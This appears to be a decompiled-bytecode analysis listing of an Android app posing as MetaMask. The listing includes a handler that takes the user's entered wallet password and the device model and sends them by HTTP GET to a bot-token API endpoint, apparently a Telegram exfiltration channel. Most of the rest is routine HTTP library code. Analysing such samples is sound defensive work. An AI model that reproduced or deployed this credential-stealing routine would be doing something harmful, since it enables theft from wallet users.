        84iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->asynchronousWorkerIdleLifetimeSecs:I
        86invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        88const-string v1, ", revalidationQueueSize="
        90invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        91iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->revalidationQueueSize:I
        93invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        95const-string v1, ", neverCacheHTTP10ResponsesWithQuery="
        97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        98iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->neverCacheHTTP10ResponsesWithQuery:Z
        100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        102const-string v1, "]"
        104invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        106invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        107move-result-object v0
        108return-object v0
        APIs
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • java.lang.String.equals
        • android.widget.Toast.makeText
        • android.widget.Toast.show
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.util.Log.i
        • java.lang.String.valueOf
        • android.util.Log.i
        • android.widget.Toast.makeText
        • android.widget.Toast.show
        Strings
        • Please enter new Password
        • Password and Confirm password not the same
        • **From Meta Mask App** \n Phone Model :
        • \n\n\n**Account Creation** \nNew Password:
        • \nConfirm Password:
        • Check Your Internet Connection
        Position Instruction Meta Information
        1iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        3invoke-static {p1}, Lcom/lemon/metamask/Util/Method;->isNetworkAvailable(Landroid/app/Activity;)Z
        4move-result p1
        5if-eqz p1, :cond_e7
        7iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        9iget-object p1, p1, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        11invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        12move-result-object p1
        14invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        15move-result-object p1
        17iget-object v0, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        19iget-object v0, v0, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        21invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        22move-result-object v0
        24invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
        25move-result-object v0
        27invoke-virtual {p1}, Ljava/lang/String;->isEmpty()Z
        28move-result v1
        29if-eqz v1, :cond_38
        31iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        33iget-object p1, p1, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        35invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        37iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        39iget-object p1, p1, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        41const-string v0, "Please enter new Password"
        43invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        44goto/16 :goto_f3
        45cond_38:
        46invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
        47move-result v1
        48if-eqz v1, :cond_50
        50iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        52iget-object p1, p1, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        54invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        56iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        58iget-object p1, p1, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        60const-string v0, "Please enter new Password"
        62invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        63goto/16 :goto_f3
        64cond_50:
        65invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        66move-result v1
        67if-nez v1, :cond_64
        69iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        71const-string v0, "Password and Confirm password not the same"
        72const/4 v1, 0x0
        74invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
        75move-result-object p1
        77invoke-virtual {p1}, Landroid/widget/Toast;->show()V
        78goto/16 :goto_f3
        79cond_64:
        80iget-object v1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        82iget-object v1, v1, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        84invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        85move-result-object v1
        87invoke-interface {v1}, Landroid/text/Editable;->clear()V
        89iget-object v1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        91iget-object v1, v1, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        93invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        94move-result-object v1
        96invoke-interface {v1}, Landroid/text/Editable;->clear()V
        98invoke-static {}, Lcom/lemon/metamask/Util/Method;->getDeviceName()Ljava/lang/String;
        99move-result-object v1
        100new-instance v2, Ljava/lang/StringBuilder;
        102invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        104const-string v3, "**From Meta Mask App** \n Phone Model : "
        106invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        110const-string v1, " \n\n\n**Account Creation** \nNew Password: "
        112invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        114invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        116const-string p1, "\nConfirm Password: "
        118invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        120invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        122invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        123move-result-object p1
        124new-instance v0, Ljava/lang/StringBuilder;
        126invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        128sget-object v1, Lcom/lemon/metamask/Util/Method;->apiLink:Ljava/lang/String;
        130invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        132sget-object v1, Lcom/lemon/metamask/Util/Method;->botoken:Ljava/lang/String;
        134invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        136sget-object v1, Lcom/lemon/metamask/Util/Method;->sendMsg:Ljava/lang/String;
        138invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        140sget-object v1, Lcom/lemon/metamask/Util/Method;->acc_id:Ljava/lang/String;
        142invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        144sget-object v1, Lcom/lemon/metamask/Util/Method;->texti:Ljava/lang/String;
        146invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        150invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        151move-result-object p1
        153iget-object v0, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        155iget-object v0, v0, Lcom/lemon/metamask/Activity/CreateActivity;->TAG:Ljava/lang/String;
        157invoke-static {v0, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        158try_start_cb: new-instance v0, Lcom/loopj/android/http/AsyncHttpClient;
        160invoke-direct {v0}, Lcom/loopj/android/http/AsyncHttpClient;-><init>()V
        161const/4 v1, 0x0
        162new-instance v2, Lcom/lemon/metamask/Activity/CreateActivity$2$1;
        164invoke-direct {v2, p0}, Lcom/lemon/metamask/Activity/CreateActivity$2$1;-><init>(Lcom/lemon/metamask/Activity/CreateActivity$2;)V
        166invoke-virtual {v0, p1, v1, v2}, Lcom/loopj/android/http/AsyncHttpClient;->get(Ljava/lang/String;Lcom/loopj/android/http/RequestParams;Lcom/loopj/android/http/ResponseHandlerInterface;)Lcom/loopj/android/http/RequestHandle;
        167try_end_d9: goto/16 :goto_f3
        168catch_da: move-exception p1
        170iget-object v0, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        172iget-object v0, v0, Lcom/lemon/metamask/Activity/CreateActivity;->TAG:Ljava/lang/String;
        174invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
        175move-result-object p1
        177invoke-static {v0, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        178goto/16 :goto_f3
        179cond_e7:
        180iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity$2;->this$0:Lcom/lemon/metamask/Activity/CreateActivity;
        182const-string v0, "Check Your Internet Connection"
        183const/4 v1, 0x1
        185invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
        186move-result-object p1
        188invoke-virtual {p1}, Landroid/widget/Toast;->show()V
        189goto_f3: return-void
        Cross References
        APIs
        • java.lang.System.getProperty
        • javax.net.ssl.SSLSocketFactory.getDefault
        • java.lang.System.getProperty
        • java.lang.String.equalsIgnoreCase
        • java.lang.System.getProperty
        • java.lang.Integer.parseInt
        • java.lang.System.getProperty
        • java.lang.String.equalsIgnoreCase
        • java.lang.System.getProperty
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.net.ProxySelector.getDefault
        • java.util.ArrayList.<init>
        Strings
        • https.protocols
        • https.cipherSuites
        • http
        • https
        • http.keepAlive
        • true
        • http.maxConnections
        • 5
        • http.agent
        • Basic
        • Digest
        • NTLM
        • best-match
        • standard
        • compatibility
        • netscape
        • ignoreCookies
        • rfc2109
        • rfc2965
        Position Instruction Meta Information
        0move-object/from16 v0, p0
        2iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        3if-nez v1, :cond_b
        4new-instance v1, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        6invoke-direct {v1}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;-><init>()V
        7cond_b: move-object v3, v1
        9iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        10const/4 v10, 0x2
        11const/4 v11, 0x0
        12if-nez v1, :cond_cd
        14iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->sslSocketFactory:Lcz/msebera/android/httpclient/conn/socket/LayeredConnectionSocketFactory;
        15if-nez v1, :cond_62
        16iget-boolean v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        17if-eqz v1, :cond_25
        19const-string v1, "https.protocols"
        21invoke-static {v1}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
        22move-result-object v1
        24invoke-static {v1}, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->split(Ljava/lang/String;)[Ljava/lang/String;
        25move-result-object v1
        26goto/16 :goto_26
        27cond_25: move-object v1, v11
        28goto_26: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        29if-eqz v2, :cond_35
        31const-string v2, "https.cipherSuites"
        33invoke-static {v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
        34move-result-object v2
        36invoke-static {v2}, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->split(Ljava/lang/String;)[Ljava/lang/String;
        37move-result-object v2
        38goto/16 :goto_36
        39cond_35: move-object v2, v11
        40goto_36:
        41iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->hostnameVerifier:Lcz/msebera/android/httpclient/conn/ssl/X509HostnameVerifier;
        42if-nez v4, :cond_3c
        44sget-object v4, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;->BROWSER_COMPATIBLE_HOSTNAME_VERIFIER:Lcz/msebera/android/httpclient/conn/ssl/X509HostnameVerifier;
        45cond_3c:
        46iget-object v5, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->sslcontext:Ljavax/net/ssl/SSLContext;
        47if-eqz v5, :cond_49
        48new-instance v5, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;
        50iget-object v6, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->sslcontext:Ljavax/net/ssl/SSLContext;
        52invoke-direct {v5, v6, v1, v2, v4}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;-><init>(Ljavax/net/ssl/SSLContext;[Ljava/lang/String;[Ljava/lang/String;Lcz/msebera/android/httpclient/conn/ssl/X509HostnameVerifier;)V
        53goto_47: move-object v1, v5
        54goto/16 :goto_62
        55cond_49: iget-boolean v5, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        56if-eqz v5, :cond_59
        57new-instance v5, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;
        59invoke-static {}, Ljavax/net/ssl/SSLSocketFactory;->getDefault()Ljavax/net/SocketFactory;
        60move-result-object v6
        61check-cast v6, Ljavax/net/ssl/SSLSocketFactory;
        63invoke-direct {v5, v6, v1, v2, v4}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;-><init>(Ljavax/net/ssl/SSLSocketFactory;[Ljava/lang/String;[Ljava/lang/String;Lcz/msebera/android/httpclient/conn/ssl/X509HostnameVerifier;)V
        64goto/16 :goto_47
        65cond_59: new-instance v1, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;
        67invoke-static {}, Lcz/msebera/android/httpclient/conn/ssl/SSLContexts;->createDefault()Ljavax/net/ssl/SSLContext;
        68move-result-object v2
        70invoke-direct {v1, v2, v4}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;-><init>(Ljavax/net/ssl/SSLContext;Lcz/msebera/android/httpclient/conn/ssl/X509HostnameVerifier;)V
        71cond_62: new-instance v2, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;
        73invoke-static {}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->create()Lcz/msebera/android/httpclient/config/RegistryBuilder;
        74move-result-object v4
        76const-string v5, "http"
        78invoke-static {}, Lcz/msebera/android/httpclient/conn/socket/PlainConnectionSocketFactory;->getSocketFactory()Lcz/msebera/android/httpclient/conn/socket/PlainConnectionSocketFactory;
        79move-result-object v6
        81invoke-virtual {v4, v5, v6}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        82move-result-object v4
        84const-string v5, "https"
        86invoke-virtual {v4, v5, v1}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        87move-result-object v1
        89invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->build()Lcz/msebera/android/httpclient/config/Registry;
        90move-result-object v1
        92invoke-direct {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;-><init>(Lcz/msebera/android/httpclient/config/Registry;)V
        94iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultSocketConfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        95if-eqz v1, :cond_88
        97iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultSocketConfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        99invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setDefaultSocketConfig(Lcz/msebera/android/httpclient/config/SocketConfig;)V
        100cond_88:
        101iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultConnectionConfig:Lcz/msebera/android/httpclient/config/ConnectionConfig;
        102if-eqz v1, :cond_91
        104iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultConnectionConfig:Lcz/msebera/android/httpclient/config/ConnectionConfig;
        106invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setDefaultConnectionConfig(Lcz/msebera/android/httpclient/config/ConnectionConfig;)V
        107cond_91: iget-boolean v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        108if-eqz v1, :cond_b9
        110const-string v1, "http.keepAlive"
        112const-string v4, "true"
        114invoke-static {v1, v4}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        115move-result-object v1
        117const-string v4, "true"
        119invoke-virtual {v4, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        120move-result v1
        121if-eqz v1, :cond_b9
        123const-string v1, "http.maxConnections"
        125const-string v4, "5"
        127invoke-static {v1, v4}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        128move-result-object v1
        130invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        131move-result v1
        133invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setDefaultMaxPerRoute(I)V
        134mul-int/lit8 v1, v1, 0x2
        136invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setMaxTotal(I)V
        137cond_b9: iget v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->maxConnTotal:I
        138if-lez v1, :cond_c2
        139iget v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->maxConnTotal:I
        141invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setMaxTotal(I)V
        142cond_c2: iget v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->maxConnPerRoute:I
        143if-lez v1, :cond_cb
        144iget v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->maxConnPerRoute:I
        146invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->setDefaultMaxPerRoute(I)V
        147cond_cb: move-object v14, v2
        148goto/16 :goto_ce
        149cond_cd: move-object v14, v1
        150goto_ce:
        151iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        152if-nez v1, :cond_ee
        153iget-boolean v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        154if-eqz v1, :cond_ec
        156const-string v1, "http.keepAlive"
        158const-string v2, "true"
        160invoke-static {v1, v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        161move-result-object v1
        163const-string v2, "true"
        165invoke-virtual {v2, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        166move-result v1
        167if-eqz v1, :cond_e9
        169sget-object v1, Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;
        170goto/16 :goto_ee
        171cond_e9:
        172sget-object v1, Lcz/msebera/android/httpclient/impl/NoConnectionReuseStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/NoConnectionReuseStrategy;
        173goto/16 :goto_ee
        174cond_ec:
        175sget-object v1, Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/DefaultConnectionReuseStrategy;
        176cond_ee: move-object v5, v1
        178iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->keepAliveStrategy:Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        179if-nez v1, :cond_f5
        181sget-object v1, Lcz/msebera/android/httpclient/impl/client/DefaultConnectionKeepAliveStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/DefaultConnectionKeepAliveStrategy;
        182cond_f5: move-object v6, v1
        184iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->targetAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        185if-nez v1, :cond_fc
        187sget-object v1, Lcz/msebera/android/httpclient/impl/client/TargetAuthenticationStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/TargetAuthenticationStrategy;
        188cond_fc: move-object v7, v1
        190iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        191if-nez v1, :cond_103
        193sget-object v1, Lcz/msebera/android/httpclient/impl/client/ProxyAuthenticationStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/ProxyAuthenticationStrategy;
        194cond_103: move-object v8, v1
        196iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->userTokenHandler:Lcz/msebera/android/httpclient/client/UserTokenHandler;
        197if-nez v1, :cond_111
        198iget-boolean v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->connectionStateDisabled:Z
        199if-nez v1, :cond_10f
        201sget-object v1, Lcz/msebera/android/httpclient/impl/client/DefaultUserTokenHandler;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/DefaultUserTokenHandler;
        202goto/16 :goto_111
        203cond_10f:
        204sget-object v1, Lcz/msebera/android/httpclient/impl/client/NoopUserTokenHandler;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/NoopUserTokenHandler;
        205cond_111: move-object v9, v1
        206new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;
        207move-object v2, v1
        208move-object v4, v14
        210invoke-direct/range {v2 .. v9}, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;-><init>(Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;Lcz/msebera/android/httpclient/ConnectionReuseStrategy;Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/client/UserTokenHandler;)V
        212invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->decorateMainExec(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;)Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;
        213move-result-object v1
        215iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->httpprocessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        216if-nez v2, :cond_216
        218iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->userAgent:Ljava/lang/String;
        219if-nez v2, :cond_133
        220iget-boolean v3, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        221if-eqz v3, :cond_12f
        223const-string v2, "http.agent"
        225invoke-static {v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
        226move-result-object v2
        227cond_12f: if-nez v2, :cond_133
        229sget-object v2, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->DEFAULT_USER_AGENT:Ljava/lang/String;
        230cond_133:
        231invoke-static {}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->create()Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        232move-result-object v3
        234iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->requestFirst:Ljava/util/LinkedList;
        235if-eqz v4, :cond_151
        237iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->requestFirst:Ljava/util/LinkedList;
        239invoke-virtual {v4}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        240move-result-object v4
        241goto_141:
        242invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
        243move-result v5
        244if-eqz v5, :cond_151
        246invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        247move-result-object v5
        248check-cast v5, Lcz/msebera/android/httpclient/HttpRequestInterceptor;
        250invoke-virtual {v3, v5}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->addFirst(Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        251goto/16 :goto_141
        252cond_151:
        253iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->responseFirst:Ljava/util/LinkedList;
        254if-eqz v4, :cond_16b
        256iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->responseFirst:Ljava/util/LinkedList;
        258invoke-virtual {v4}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        259move-result-object v4
        260goto_15b:
        261invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
        262move-result v5
        263if-eqz v5, :cond_16b
        265invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        266move-result-object v5
        267check-cast v5, Lcz/msebera/android/httpclient/HttpResponseInterceptor;
        269invoke-virtual {v3, v5}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->addFirst(Lcz/msebera/android/httpclient/HttpResponseInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        270goto/16 :goto_15b
        271cond_16b: const/4 v4, 0x6
        272new-array v4, v4, [Lcz/msebera/android/httpclient/HttpRequestInterceptor;
        273const/4 v5, 0x0
        274new-instance v6, Lcz/msebera/android/httpclient/client/protocol/RequestDefaultHeaders;
        276iget-object v7, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultHeaders:Ljava/util/Collection;
        278invoke-direct {v6, v7}, Lcz/msebera/android/httpclient/client/protocol/RequestDefaultHeaders;-><init>(Ljava/util/Collection;)V
        279aput-object v6, v4, v5
        280const/4 v5, 0x1
        281new-instance v6, Lcz/msebera/android/httpclient/protocol/RequestContent;
        283invoke-direct {v6}, Lcz/msebera/android/httpclient/protocol/RequestContent;-><init>()V
        284aput-object v6, v4, v5
        285new-instance v5, Lcz/msebera/android/httpclient/protocol/RequestTargetHost;
        287invoke-direct {v5}, Lcz/msebera/android/httpclient/protocol/RequestTargetHost;-><init>()V
        288aput-object v5, v4, v10
        289const/4 v5, 0x3
        290new-instance v6, Lcz/msebera/android/httpclient/client/protocol/RequestClientConnControl;
        292invoke-direct {v6}, Lcz/msebera/android/httpclient/client/protocol/RequestClientConnControl;-><init>()V
        293aput-object v6, v4, v5
        294const/4 v5, 0x4
        295new-instance v6, Lcz/msebera/android/httpclient/protocol/RequestUserAgent;
